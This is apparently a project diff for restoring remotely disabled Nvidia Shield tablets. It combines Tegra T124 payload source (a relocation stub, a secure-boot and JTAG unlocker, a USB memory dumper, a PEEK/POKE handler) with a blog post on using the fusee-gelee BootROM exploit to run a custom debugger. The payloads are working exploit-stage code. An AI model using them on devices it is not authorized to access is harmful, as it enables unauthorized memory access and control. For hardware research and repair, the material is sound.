for ( size_t i = 0; i < len; i++ ) {
( (u8 *)dst )[i] = ( (u8 *)src )[i];
}
}
// Probably I could trust in have relative PC branches, so no address would
// require to be updated. This would work since there is a whole new copy
// of the binary on the relocated area and PC would be working on that area
// but having memcpy address on a register and update it to the relocated
// area when required should improve the chances of the compiler not messing
// up with the memcpy calls.
register _memcpy_t memcpy asm("r7");
void _post_relocation() {
// Same with these arguments....
register u32 payload_bef_len = *( (u32 *) IRAM_ADD_PAYLOAD_BEF_LENVAR );
register u32 payload_aft_len = *( (u32 *) IRAM_ADD_PAYLOAD_AFT_LENVAR );
register u32 payload_thumb_mode = *( (u32 *) IRAM_ADD_PAYLOAD_THUMB_MODE );
memcpy -= INTERMEZZO_LEN;
memcpy( (u8 *) BOOTROM_PAYLOAD_ENTRY, (u8 *) IRAM_ADD_PAYLOAD_START, payload_bef_len );
memcpy( (u8 *) (BOOTROM_PAYLOAD_ENTRY + payload_bef_len), (u8 *) IRAM_ADD_PAYLOAD_CONT, payload_aft_len );
payload_ep_t payload_ep = (payload_ep_t) ( BOOTROM_PAYLOAD_ENTRY | payload_thumb_mode );
payload_ep();
}
__attribute__((section(".init")))
void pre_relocation() {
u32 payload_bin_size = (u32)&__payload_bin_end - (u32)&__payload_bin_start;
u8 *dest = (u8 *) ( BOOTROM_PAYLOAD_ENTRY - INTERMEZZO_LEN );
memcpy = _memcpy;
memcpy( dest, &__payload_bin_start, payload_bin_size );
post_relocation_t post_relocation = _post_relocation - INTERMEZZO_LEN;
post_relocation();
}

View File

@ -0,0 +1,40 @@
#include "t124.h"
#include "types.h"
static inline u32 read32(uintptr_t addr) {
return *(vu32 *)addr;
}
static inline void write32(uintptr_t addr, u32 val) {
*(vu32 *)addr = val;
}
static inline void or32(uintptr_t addr, u32 val) {
write32(addr, read32(addr) | val);
}
__attribute__(( section(".init") ))
void main() {
u32 pirom_start_0 = 0x00010000;
write32( SECURE_BOOT_BASE + SB_PIROM_START_0, pirom_start_0 );
u32 sb_csr_0 = 0x00000010;
write32( SECURE_BOOT_BASE + SB_CSR_0, sb_csr_0 );
u32 sb_pfcfg_0 = read32( SECURE_BOOT_BASE + SB_PFCFG_0 );
sb_pfcfg_0 &= 0xfffffff0;
sb_pfcfg_0 |= 0xf;
write32( SECURE_BOOT_BASE + SB_PFCFG_0, sb_pfcfg_0 );
or32( APB_BASE + APB_MISC_PP_CONFIG_CTL_0, APB_MISC_PP_CONFIG_CTL_0_JTAG |
APB_MISC_PP_CONFIG_CTL_0_TBE );
while(1) {
// Halt COP and wait for JTAG
or32( FLOW_CTLR_BASE + FLOW_CTLR_HALT_COP_EVENTS_0,
FLOW_CTLR_HALT_COP_FLOW_MODE_WAITEVENT |
FLOW_CTLR_HALT_COP_JTAG );
}
}

View File

@ -0,0 +1,58 @@
#include "types.h"
#include "t124.h"
#include "mem_dumper_usb_server.h"
typedef void (*ep1_x_imm_t)(void *buffer, u32 size, u32 *num_xfer);
void memcpy( void *dst, const void *src, size_t len ) {
for ( size_t i = 0; i < len; i++ ) {
( (u8 *)dst )[i] = ( (u8 *)src )[i];
}
}
static inline u32 read32(uintptr_t addr) {
return *(vu32 *)addr;
}
static inline void write32(uintptr_t addr, u32 val) {
*(vu32 *)addr = val;
}
static inline void or32(uintptr_t addr, u32 val) {
write32(addr, read32(addr) | val);
}
void enter_rcm() {
or32(PMC_BASE + PMC_SCRATCH0, PMC_SCRATCH0_MODE_RCM);
or32(PMC_BASE + PMC_CNTRL, PMC_CNTRL_MAIN_RST);
}
__attribute__((section(".init")))
void entry() {
u32 num_xfer;
u32 to_send;
struct mem_dumper_args_s args;
u8 *buffer = (u8*)0x40020000;
ep1_x_imm_t ep1_out_read_imm = (ep1_x_imm_t) ( BOOTROM_EP1_OUT_READ_IMM | 1 );
ep1_x_imm_t ep1_in_write_imm = (ep1_x_imm_t) ( BOOTROM_EP1_IN_WRITE_IMM | 1 );
ep1_out_read_imm( &args, sizeof(args), &num_xfer );
while ( args.len > 0 ) {
to_send = args.len > 0x1000? 0x1000 : args.len;
memcpy( buffer, (void*)args.start, to_send );
ep1_in_write_imm( buffer, to_send, &num_xfer );
args.start += to_send;
args.len -= to_send;
}
enter_rcm();
}

View File

@ -0,0 +1,80 @@
#include "types.h"
#include "t124.h"
typedef void (*ep1_x_imm_t)(void *buffer, u32 size, u32 *num_xfer);
ep1_x_imm_t usb_read = (ep1_x_imm_t) ( BOOTROM_EP1_OUT_READ_IMM | 1 );
ep1_x_imm_t usb_write = (ep1_x_imm_t) ( BOOTROM_EP1_IN_WRITE_IMM | 1 );
// int (*usb_write)(void*addr, uint32_t size, void *return_addr) = (void*)BOOTROM_EP1_IN_WRITE_IMM;
// int (*usb_read)(int, int, int) = (void*)BOOTROM_EP1_OUT_READ_IMM;
int mystrlen(char *data) {
int i=0;
while(1) {
if(data[i++] == '\0'){
break;
}
}
return i-1;
}
void usb_log(char * msg, uint32_t * error){
usb_write(msg, mystrlen(msg), error);
}
// #define usb_log(msg, error) usb_write(msg, mystrlen(msg), error);
__attribute__((section(".init")))
void payload_main() {
uint32_t error_code;
uint32_t mem_off;
uint32_t mem_sz;
uint32_t blk_sz;
char data[12];
u8 *buffer = (u8*)0x40020000;
usb_log("cmd_handler", &error_code);
while(1){
usb_read(&data, 4, &error_code);
if(data[0] == 'P' && data[1] == 'E' && data[2] == 'E' && data[3] == 'K') {
usb_write(&data, 4, &error_code);
usb_read(&data, 8,&error_code); // Receive uint64_t size and and uint32_t offset
mem_off = *(uint32_t *)data;
mem_sz = *(uint32_t *)(data+4);
for(unsigned int i=0;i<mem_sz;i+=0x200) {
if((mem_sz - i) < 0x200) {
blk_sz = mem_sz - i;
} else {
blk_sz = 0x200;
}
usb_write((void *)(mem_off+i), blk_sz, &error_code);
usb_read(&data, 4, &error_code);
if(!(data[0] == 'A' && data[1] == 'C' && data[2] == 'K')) {
break;
}
}
}
else if(data[0] == 'P' && data[1] == 'O' && data[2] == 'K' && data[3] == 'E') {
usb_write(&data, 4, &error_code);
usb_read(&data, 8, &error_code); // Receive uint64_t size and and uint32_t offset
mem_off = *(uint32_t *)data;
mem_sz = *(uint32_t *)(data+4);
for(unsigned int i=0;i<mem_sz;i+=0x200) {
if((mem_sz - i) < 0x200) {
blk_sz = mem_sz - i;
} else {
blk_sz = 0x200;
}
usb_read((void *) (mem_off + i), blk_sz, &error_code);
usb_log("OK", &error_code);
usb_read(&data, 4, &error_code);
if(!(data[0] == 'A' && data[1] == 'C' && data[2] == 'K')) {
break;
}
}
}
usb_log("done", &error_code);
}
}

View File

@ -0,0 +1,16 @@
__payload_bin_start = 0x4000E000;
ENTRY(__payload_bin_start)
SECTIONS {
/* We don't do GOT relocation and rely on nothing ending up using the GOT
* (-fno-common helps here) */
/DISCARD/ : { *(.comment) }
.init (__payload_bin_start): { *(.init) *(.init.*) }
.text : { *(.text) *(.text.*) }
.data : { *(.data) *(.data.*) }
.rodata : { *(.rodata) *(.rodata.*) *(.got) }
.got : { *(.got) }
.bss : { *(.bss) *(.bss.*) *(COMMON)}
.footer : { LONG(0xdeadbeef) } /* make sure .bss is padded out */
__payload_bin_end = .;
}

View File

@ -0,0 +1,20 @@
#include "t124.h"
#include "types.h"
static inline u32 read32(uintptr_t addr) {
return *(vu32 *)addr;
}
static inline void write32(uintptr_t addr, u32 val) {
*(vu32 *)addr = val;
}
static inline void or32(uintptr_t addr, u32 val) {
write32(addr, read32(addr) | val);
}
__attribute__((section(".init")))
void main() {
or32(PMC_BASE + PMC_CNTRL, PMC_CNTRL_MAIN_RST);
}

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
bin/bootloader.bin Normal file

Binary file not shown.

BIN
bin/dumped.bin Normal file

Binary file not shown.

BIN
bin/dumped_ref0.bin Normal file

Binary file not shown.

BIN
bin/imem3_bct Normal file

Binary file not shown.

BIN
bin/imem_bct Normal file

Binary file not shown.

BIN
bin/imem_good.bin Normal file

Binary file not shown.

BIN
bin/imem_ref0_t124.bin Normal file

Binary file not shown.

BIN
bin/t124_brom_hwio.pickle Normal file

Binary file not shown.

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 13 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.1 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 10 KiB

BIN
blog/images/emmc_isp.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 329 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 107 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 80 KiB

BIN
blog/images/pcb_setup.jpeg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 223 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 70 KiB

652
blog/part1.md Normal file
View File

@ -0,0 +1,652 @@
# Restore Nvidia Shield ST8
In 2014 nvidia released their own ``Nvidia Shield`` tablet. This is quite a good tablet with as main selling point it's ``Tegra K1`` SoC with a good GPU. The tablet was aimed at gamers.
![Nvidia shield tablet](images/nvidia-shield-tablet-0543.webp)
*source CNET*
However, shortly after launch it was discovered that some batteries had the tendency to expand or burn. In order to solve this, Nvidia decided to start a replacement program. Users could enter their serial number on a Nvidia website, along with their home address and would receive a new tablet from Nvidia without any costs. The old tablet would then be disabled remotely.
## Introduction
### OTA
Back then a relatively new concept was introduced in Android devcies, which was the **O**ver **T**he **A**ir(OTA) update, which is just an update mechanism for android devices. This mechanism allowed Nvidia to push updates to specific devices. The update that was pushed to devices that were set to be disabled was simple, it corrupted the BCT(more later) and Bootloader of the bad tablets and forced a reboot. After that the device would never wake again(up until now).
On XDA there is a [big post](https://xdaforums.com/t/kill-the-kill-switch-st-yy.3179489/) about how the update works. So all credits here to the people that investigated the update back then( @Beauenheim, @Jackill, and @runandhide05)
This post will restore one of the disabled tablets back to it's functioning state. To do this a bootROM exploit will be used and a debugger that I developed in the process. It also serves as an example device for several other use cases which I will write a post about later.
### Nintendo Switch
The [Nintendo Switch](https://en.wikipedia.org/wiki/Nintendo_Switch) is a game console that was launched in 2017 that contains *almost* the same chip as the Nvidia Shield Tablet. Several independent researchers found a bug in the BootROM and used it to gain access to the Nintendo Switch(fusee gelee). This exploit was then adapted to the T124 chip which is in the Nvidia Shield [by this guy](https://github.com/LordRafa/ShofEL2-for-T124).
So, there is a method to gain RCE on a device, let's try to see if we can restore a tablet.
## EMMC
The simplest approach to unbricking this device is to unsolder it and reprogram it. To reprogram it you can use a EMMC writter, like EasyJTAG or a device as I used below:
![EMMC programming](images/emmc_isp.jpeg)
This will connect the device as a sdcard and allows you to reflash the bootloader. The chip can then be soldered back to the tablet and it will work again.
But this is no fun at all and I can't introduce my debugger, so let's continue our software only approach.
## Debugger
The first goal is to build my debugger for this target. When connecting the device to a Linux based computer I see the following message in dmesg:
```bash
[323058.201469] usb 1-5.3.1: new high-speed USB device number 91 using xhci_hcd
[323058.302006] usb 1-5.3.1: New USB device found, idVendor=0955, idProduct=7f40, bcdDevice= 1.01
[323058.302011] usb 1-5.3.1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
[323058.302012] usb 1-5.3.1: Product: APX
[323058.302014] usb 1-5.3.1: Manufacturer: NVIDIA Corp.
```
And in lsusb
```bash
Bus 001 Device 091: ID 0955:7f40 NVIDIA Corp. APX
```
APX is the emergency download mode from Nvidia, similar to EDL mode on Qualcomm devices. Reusing the code from LordRafa I dumped the BootROM and loaded into Ghidra. On github also the source code of both T210 and T214 bootROMs was leaked, which makes reversing very easy.
### BCT
One of the offsets provided by LordRafa is *do_bct_boot*, which should allow loading a BCT without security checks. This would be a good starting point, however upon further inspection it only resets the chip on my ROM:
```c
void NvBootMainNonsecureRomEnter?(void)
{
int iVar1;
uint boot_tar;
int iVar2;
/* inline function to configure clocks */
NvBootClocksSetEnable(0x66,1);
[..]
iVar2 = NvBootFuseIsFailureAnalysisMode();
if (((iVar2 != 0) || (iVar2 = NvBootFuseIsPreproductionMode(), iVar2 != 0)) &&
((iVar2 = NvBootFuseIsPreproductionMode(), iVar2 == 0 ||
(((*(uint *)(iVar1 + 0x10) & 1) == 0 && ((*(uint *)(DAT_00100634 + 0x24) >> 0x1a & 0xf) == 0))
)))) {
iVar1 = NvBootFuseIsFailureAnalysisMode();
if (iVar1 != 0) {
*DAT_00100638 = *DAT_00100638 & 0xfffffffe | 0x10;
}
NvBootFromUart(boot_tar);
// 00100624 here
NvBootResetFullChip();
}
return;
}
```
```asm
00100624 00 f0 d8 f8 bl NvBootResetFullChip
```
I think the inteded function was 4 bytes higher and that would allow booting a BCT from UART. This is nice, however I have no UART on this device. There is a [github issue](https://github.com/NVIDIA/tegra-nouveau-rootfs/issues/22) that describes a UART interface over the sd card controller. I don't know if it will work from within the ROM and it's probably no worth the effort since I will probably have to maintain control over the device after it boot's the BCT(Trustzone, Fastboot locks).
### PCB
The exploit chain from LordRafa allows us load and jump into a new payload. When the device hangs you can press and hold the power button to let it reset and then try again. One thing I learned is that it's always worth the time to make a proper debug setup. So I took a PCB out of a tablet, connect it to a laptop and started shorting lines to ground on the tablet PCB. At some point there was a reset which I can see in dmesg. I soldered this line to a button and put the whole thing on a PCB. This way I can reset the device with a single push and try again. Saves lots of time and frustration.
I ofcourse forgot to document what I soldered before applying the hot glue so I have no clue which pin it was that I am shorting.
![pcb setup](images/pcb_setup.jpeg)
There is also a Raspberry Pico on this board which might be usefull for glitching later on.
### Debugger instrumentation
LordRafa already found the USB send/recv functions. Upon further inspection we can also see where our payload needs to be loaded, let's try to connect the debugger.
#### Send/Receive
```c
#define BOOTROM_EP1_IN_WRITE_IMM 0x001065C0
#define BOOTROM_EP1_OUT_READ_IMM 0x00106612
typedef void (*ep1_x_imm_t)(void *buffer, uint32_t size, uint32_t *num_xfer);
ep1_x_imm_t usb_recv = (ep1_x_imm_t) ( BOOTROM_EP1_OUT_READ_IMM | 1 );
ep1_x_imm_t usb_send = (ep1_x_imm_t) ( BOOTROM_EP1_IN_WRITE_IMM | 1 );
void send(void *buffer, uint32_t size, uint32_t *num_xfer){
usb_send(buffer, size, num_xfer);
}
int recv(void *buffer, uint32_t size, uint32_t *num_xfer){
usb_recv(buffer, size, num_xfer);
return (int)&num_xfer;
}
```
For the Peek/Poke part this is all that actually needs to be setup for the debugger to function properly. For this target at least
#### Memory
The debugger needs to know where it is located at compile time, as well where the stack and storage locations are. We define them in a symbols file and to the linker:
```text
debugger_storage = 0x40013000;
debugger_stack = 0x40014000;
```
Linker script
```text
MEMORY {
ROM (rwx): ORIGIN = 0x4000E000, LENGTH = 0x1000
}
SECTIONS
{
. = 0x4000E000;
.text . : {
*(.text*)
*(.data*)
*(.rodata*)
} >ROM
}
```
Finally we need to build the target:
```makefile
ifeq ($(ANDROID_NDK_ROOT),)
$(error Error : Set the env variable 'ANDROID_NDK_ROOT' with the path of the Android NDK (version 20))
endif
#ARM thumb mode
TOOLCHAIN_ARM_T := $(TOOLCHAINENV)/gcc-arm-none-eabi-10-2020-q4-major/bin/arm-none-eabi-
CC_T = $(TOOLCHAIN_ARM_T)gcc
AS_T = $(TOOLCHAIN_ARM_T)as
OBJCOPY_T = $(TOOLCHAIN_ARM_T)objcopy
LD_T = $(TOOLCHAIN_ARM_T)ld.bfd
#For building in thumb mode
CFLAGS_THUMB := -Wall -Werror -MMD -Wno-unused-variable \
-march=armv4t -mthumb -Os -ffreestanding -fno-common \
-fomit-frame-pointer -nostdlib -fno-builtin-printf \
-fno-asynchronous-unwind-tables -fPIE -fno-builtin \
-Idevices/nvidia_shield_t/ \
-fno-exceptions -Wl,--no-dynamic-linker,--build-id=none
all: nvidia_shield_t
nvidia_shield_t:
[ -d bin/nvidia_shield_t ] || mkdir -p bin/nvidia_shield_t/
$(CC_T) armT_stub.S -c -o bin/nvidia_shield_t/entry.o
$(CC_T) debugger.c -c -o bin/nvidia_shield_t/debugger.o $(CFLAGS_THUMB)
$(LD_T) -T devices/nvidia_shield_t/linkscript.ld bin/nvidia_shield_t/entry.o bin/nvidia_shield_t/debugger.o -o bin/nvidia_shield_t/debugger.elf --just-symbols=devices/nvidia_shield_t/symbols.txt
$(OBJCOPY_T) -O binary bin/nvidia_shield_t/debugger.elf bin/nvidia_shield_t/debugger.bin
```
I copied the flags from LordRafa's payload.
So a memory map will look as follows:
![Map nvidia shield](images/debugger_memory.drawio.svg)
### Ghidra Assistant
Let's connect to it from the ``Ghidra Assistant``. I rewrote the ShofEl2 exploit in python. The class is called ``TegraRCM``, maybe I will write a bit more on it later how it works but there are plenty of descriptions of the fusee-gelee exploit.
```python
def device_setup(concrete_device : "ConcreteDevice"):
#Setup architecture
concrete_device.arch = QL_ARCH.ARM
concrete_device.ga_debugger_location = 0x4000E000
concrete_device.ga_vbar_location = 0x40011000
concrete_device.ga_storage_location = 0x40013000
concrete_device.ga_stack_location = 0x40014000
rcm = TegraRCM()
rcm.dev.read_chip_id()
file = "/home/eljakim/Source/gupje/source/bin/nvidia_shield_t/debugger.bin"
rcm.send_payload(file, thumb=1)
concrete_device.arch_dbg = GA_arm_thumb_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location)
assert(rcm.dev.read(0x100) == b"GiAs")
concrete_device.arch_dbg.read = rcm.dev.read
concrete_device.arch_dbg.write = rcm.dev.write
#Overwrite all calls to make the concrete target function properly
concrete_device.copy_functions()
```
Once we see b"GiAs" over our USB endpoint we know that the debugger is functional. We can test this by sending b"PING" over USB:
```python
rcm.dev.write(b"PING") # Writes
rcm.dev.read(0x100) # try to receive some data.
b'PONG'
```
The ``ConcreteDevice`` implementation needs to be configured with the correct addresses of the debugger and be told what the architecture is. In this case this is thumb and the Architecture debugger is set to this mode.
#### Playing around
Because the debugger is running we can now do some really cool stuff. For instance let's try to see the state of the processor:
```text
cd.arch_dbg.state.print_ctx(print)
PC: 0x4000e02e LR: 0x4000df9d SP: 0x4000dcb0 FP: 0x 0
R0: 0x4000df95 R1: 0x400139cc R2: 0x 0 R3: 0x 1
R4: 0x4000e001 R5: 0x 3c4 R6: 0x 0 R7: 0x4000df55
R8: 0x4000df55 R9: 0x 261411 R10: 0x 10c584 R11: 0x 0
R12: 0x 0 R13: 0x4000dcb0 R14: 0x4000df9d R15: 0x4000e02e
```
We can also change the registers of the target device:
```
cd.arch_dbg.state.LR = cd.arch_dbg.debugger_addr | 1
```
And, one of the coolest features. We can restore the context and jump to a user specified address. So if we have the following function in our BootROM:
```c
uint32_t NvBootUtilGetTimeUS(void)
{
return *(uint32_t *)(DAT_00100ca4 + 0x10);
}
```
We can actually call it with:
```
def NvBootUtilGetTimeUS():
cd.arch_dbg.state.LR = cd.arch_dbg.debugger_addr | 1
cd.arch_dbg.restore_stack_and_jump(0x00100c7e | 1)
assert cd.read(4) == b'GiAs', "Debugger crashed?"
return cd.arch_dbg.state.R0
```
And this is our time apparantly:
```python
hex(NvBootUtilGetTimeUS())
'0x6220ac69'
hex(NvBootUtilGetTimeUS())
'0x63459919'
hex(NvBootUtilGetTimeUS())
'0x637c611a'
hex(NvBootUtilGetTimeUS())
'0x63936828'
```
The debugger becomes a pythonic representation of bare assembly instructions. Let's do a bit more advanced stuff, like loading a bootloader.
### Boot flow
Now that we have the debugger running, let's see what is going on when we boot. Below is a simplistic overview of the bootflow from what I reversed:
![bootflow_t124](images/bootflow_t124.drawio.svg)
The function NvBootMainSecureRom enters RCM mode when cold booting fails. Lets take a look at the function:
```c
void NvBootMainSecureRomEnter(void)
{
NvBootInfoTable *pNVar1;
[..] //more hardware setup
(BootInfoTable->BootTimeLog).NvBootTimeLogInit = *(NvU32 *)PTR_DAT_001015f8;
NvBootMainSetupAesEngines();
pNVar1 = BootInfoTable;
if (iswarmboot == 0) {
/* Coldboot path
*/
FUN_00103bf4();
FUN_0010392c();
puVar5 = BootRomVersion;
bootinfo = BootInfoTable;
BootInfoTable->BootRomVersion = *(NvU32 *)BootRomVersion;
bootinfo->DataVersion = *(NvU32 *)(puVar5 + 8);
bootinfo->RcmVersion = *(NvU32 *)(puVar5 + 4);
bootinfo->PrimaryDevice = NvBootDevType_Spi;
NVar3 = NvBootClocksGetOscFreq();
bootinfo->OscFrequency = NVar3;
*(NvU32 **)&bootinfo->PmuBootSelReadError = &bootinfo->SafeStartAddr;
IsForceRcmByStrap = NvBootStrapIsForceRecoveryMode();
IsForceRcmByPmc = NvBootPmcQueryFlag(2);
puVar5 = PTR_FUN_00100588+1_00101600;
if ((IsForceRcmByStrap | IsForceRcmByPmc) == 0) {
NVar4 = NvBootColdBoot((int *)&BootAddress);
/* Here is where we go to RCM mode, the BCT loading fails
*/
if ((NVar4 != NvBootError_None) &&
(haltvalue = NvBootRcm(false,SUB41(&local_28,0),&BootAddress,in_r3), haltvalue != 0)) {
BootAddress = puVar5;
}
goto continue_boot;
}
[..] // extra code, but boots in RCM
haltvalue = NvBootRcm(true,SUB41(&local_28,0),&BootAddress,in_r3);
}
else {
// Warmboot path
continue_boot:
haltvalue = NvBootMainProcessSecureDebugControl
(iswarmboot,(uint)pNVar1->BctValid,local_28 & 0xff,(int)&local_28);
if (haltvalue != 1) {
IsFactorySecureProvisioningMode = IsFactorySecureProvisioningMode | 8;
}
haltvalue = NvBootFuseIsOdmProductionMode();
NvBootMainSecureRomExit
(iswarmboot,BootAddress,IsFactorySecureProvisioningMode,(uint)(haltvalue == 0));
NvBootResetFullChip();
return;
}
```
A variable ``bootinfo`` is loaded from a hardcoded offset in memory and populated with some version info and then passed to the function ``NvBootColdBoot``. We want to execute that function to see what is the result. The easiest method would be to patch this function and jump back to the debugger. If we jump in at
```c
puVar5 = BootRomVersion;
```
We can continue execution until after ``NvBootColdBoot``. But can we patch code in the ROM? Let's test this:
```python3
cd.memwrite_region(0x00101318, b"\xdd" * 0x10)
hexdump(cd.memdump_region(0x00101318, 0x20))
┌─────────────────────────────────────────────────┬──────────────────┐
0x00000000 │ f0 b5 00 24 85 b0 b5 4d 01 20 01 94 00 94 00 f0 │ ...$...M. ...... │
0x00000010 │ 98 fd 01 f0 bf f9 00 f0 a8 fc 00 28 07 d0 00 f0 │ ...........(.... │
└─────────────────────────────────────────────────┴──────────────────┘
```
The result is not written back. The reason for this is that the ROM is shadowed(No faults are raised while trying to write to it). This means we can't write patches to the ROM. One approach would be to remap part of the ROM to RAM. This would allow patching but it's quite a bit of work. This will probably become a feature of the debugger in the future but for now it's not supported by default. Maybe instead we can just setup the memory structure ourself and execute the function?
```python
NVCOLDBOOT = 0x00101ad2
def nvbootcoldboot():
'''
Works, attempts to load the BCT from the EMMC
'''
nvbootinfo = 0x40000000
cd.write_u32(nvbootinfo, 0x400001)
cd.write_u32(nvbootinfo + 4, 0x400001)
cd.write_u32(nvbootinfo + 8, 0x400001)
# cd.write_u32(nvbootinfo + 0xc, 0x00000001) # Boot type, set later also
cd.write_u32(nvbootinfo + 0x10, 5) #Irom
# cd.write_u32(nvbootinfo + 0x10, 9)
def NvBootClocksGetOscFreq():
return cd.read_u32(cd.read_u32(0x00100214) + 0x10) >> 0x1c
cd.write_u32(nvbootinfo + 0x28, NvBootClocksGetOscFreq()) #Irom
cd.write_u32(nvbootinfo + 0xf0, nvbootinfo + 256) # End of boot info
# Move debugger in r0, to jump to that on failure
cd.arch_dbg.state.R0 = 0x40020000 # cd.ga_debugger_location | 1
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
cd.restore_stack_and_jump(NVCOLDBOOT | 1)
assert cd.read(4) == b"GiAs", "Failed to jump to debugger"
nvbootcoldboot()
cd.arch_dbg.state.print_ctx(print)
PC: 0x4003c02e LR: 0x 109c15 SP: 0x4000dcb0 FP: 0x 0
R0: 0x 8 R1: 0x 0 R2: 0x 11 R3: 0x4003c001
R4: 0x4000e001 R5: 0x 3c4 R6: 0x 0 R7: 0x4000df55
R8: 0x4000df55 R9: 0x 261411 R10: 0x 10c584 R11: 0x 0
R12: 0x 109aef R13: 0x4000dcb0 R14: 0x 109c15 R15: 0x4003c02e
```
The error code, in this case is 8 or NvBootError_DeviceError, this is because I desoldered the EMMC chip for this device. On a device with a working EMMC chip the error code is 24 or NvBootError_IdentificationFailed.
### K1 tablet
At this point I bought a working K1 tablet from marktplaats(Dutch ebay). Since this tablet has the same SoC it will have the same BootROM vulnerability and I can reuse my code while also see what would be a *correct* boot flow.
If we execute the same function on the K1 tablet the result is 0x0, as expected. Also the local variable &BootAddress is set to ``0x4000e000``. This should be the target branch. Let's dump this region and see what is in it.
![stage2 bootloader](images/stage2_entry.png)
Looking with Ghidra, we can see that its valid code. The MSR instruction is clearly visible and you almost always find that instruction at the start of a bootloader, since the security/system control is transfered to that bootloader.
Maybe we can just try to boot this code directly? There is 1 issue however, the debugger is currently located at ``0x4000e000`` and loading the bootloader there would overwrite it. The debugger is build with this problem in mind, we can just relocate it to another position. To do this, we create a new entry in the Makefile and a new symbols_reloc.txt, along with a linkscript linkscript_reloc.ld:
symbols_reloc.txt
```text
debugger_storage = 0x4003e000;
debugger_stack = 0x4003f000;
```
linkscript_relod.ld
```linkscript
MEMORY {
ROM (rwx): ORIGIN = 0x4003c000, LENGTH = 0x1000
}
SECTIONS
{
. = 0x4003c000;
.text . : {
*(.text*)
*(.data*)
*(.rodata*)
} >ROM
}
```
And the Makefile
```makefile
nvidia_shield_t_reloc:
[ -d bin/nvidia_shield_t ] || mkdir -p bin/nvidia_shield_t/
$(CC_T) armT_stub.S -c -o bin/nvidia_shield_t/entry.o
$(CC_T) debugger.c -c -o bin/nvidia_shield_t/debugger_reloc.o $(CFLAGS_THUMB)
$(LD_T) -T devices/nvidia_shield_t/linkscript_reloc.ld bin/nvidia_shield_t/entry.o bin/nvidia_shield_t/debugger.o -o bin/nvidia_shield_t/debugger_reloc.elf --just-symbols=devices/nvidia_shield_t/symbols_reloc.txt
$(OBJCOPY_T) -O binary bin/nvidia_shield_t/debugger_reloc.elf bin/nvidia_shield_t/debugger_reloc.bin
```
We can load the debugger at that address and instruct the Ghidra Assistant that we are relocating the debugger. We can check if it worked by querying the ``debugger_main`` function of the debugger.
```python
def relocate_debugger():
'''
Works, relocates the debugger to the end of IRAM
'''
reloc = open('/home/eljakim/Source/gupje/source/bin/nvidia_shield_t/debugger_reloc.bin', 'rb').read()
cd.memwrite_region(0x4003c000, reloc)
cd.restore_stack_and_jump(0x4003c000 | 1)
assert cd.read(0x100) == b"GiAs"
# And relocate the debugger
cd.relocate_debugger(0x40011000, 0x4003c000, 0x4003e000)
relocate_debugger()
hex(cd.get_debugger_location())
'0x4003c199'
```
Works, now we can also update the memory map:
![Debugger stage2](images/debugger_memory2.drawio.svg)
Let's load the new bootloader and see what happens:
```python
boot_to = 0x4000e000
imem = open("imem3_bct", 'rb').read()
cd.memwrite_region(0x40000000, imem)
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
cd.restore_stack_and_jump(boot_to)
```
Crash ofcourse, didn't really expect that would work. But executing the same code on the working tablet results in a booting device. Let's debug what is going on.
#### Hooking
The stage2 bootloader contains a lot more strings than the ROM. I searched a bit on the internet to see if there were any leaked sources for this bootloader but I found nothing. Reversing bootloaders can be challenging when there are almost no strings, for this one there are several and they seem to be used to log the state of the bootloader over UART. Sadly we don't have UART to inspect what is going on, but we do have the debugger.
We can just place a hook in the log function and jump to the debugger. Then we can inspect the state of the device and dump the log string to see what is being logged. Setting up the hook is easy:
```python
jump_stub = f"""
ldr r12, addr_debugger_main_t
bx r12
.align 4
addr_debugger_main_t: .word {hex(cd.ga_debugger_location | 1)}
"""
jump_stub = ks_arm.asm(jump_stub, as_bytes=True)[0]
# Setup code for log hook
cd.memwrite_region(0x4001cadc, jump_stub)
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
cd.restore_stack_and_jump(boot_to)
while True:
try:
r = cd.read(0x100) #GiAs
msg = cd.read_str(cd.arch_dbg.state.R0)
print(msg)
cd.restore_stack_and_jump(cd.arch_dbg.state.LR) # Restore as if nothing happened.
except:
pass
```
The output is fascinating:
Good device boot
```
b'Checking whether Onsemi FG present \n'
b'[TegraBoot] (version %s)\n'
b'Processing in cold boot mode\n'
b'Reset reason: %s\n'
b'Battery Present\n'
b'Battery Voltage: %d mV\n'
b'Battery charge sufficient\n'
b'Error getting nvdumper carve out address! Booting normally!\n'
b'Sdram initialization is successful \n'
b'PMU BoardId: %d\n'
b'CPU power rail is up \n'
b'Performing RAM repair\n'
b'CPU clock init successful \n'
b'Bootloader downloaded successfully.\n'
b'CPU-bootloader entry address: 0x%x \n'
b'BoardId: %d\n'
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
b'%s Carveout Base=0x%x%08x Size=0x%x%08x\n'
b'Platform-DebugCarveout: %d\n'
b'Using GP1 to query partitions \n'
b'WB0 init successful\n'
b'Secure Os PKC Verification Success.\n'
b'Loading and Validation of Secure OS Successful\n'
b'NvTbootPackSdramParams: start. \n'
b'NvTbootPackSdramParams: done. \n'
b'Starting CPU & Halting co-processor \n\n'
```
And device with corrupted bootloader:
```
b'Checking whether Onsemi FG present \n'
b'[TegraBoot] (version %s)\n'
b'Processing in cold boot mode\n'
b'Reset reason: %s\n'
b'Battery Present\n'
b'Battery Voltage: %d mV\n'
b'Battery charge sufficient\n'
b'Error getting nvdumper carve out address! Booting normally!\n'
b'Sdram initialization is successful \n'
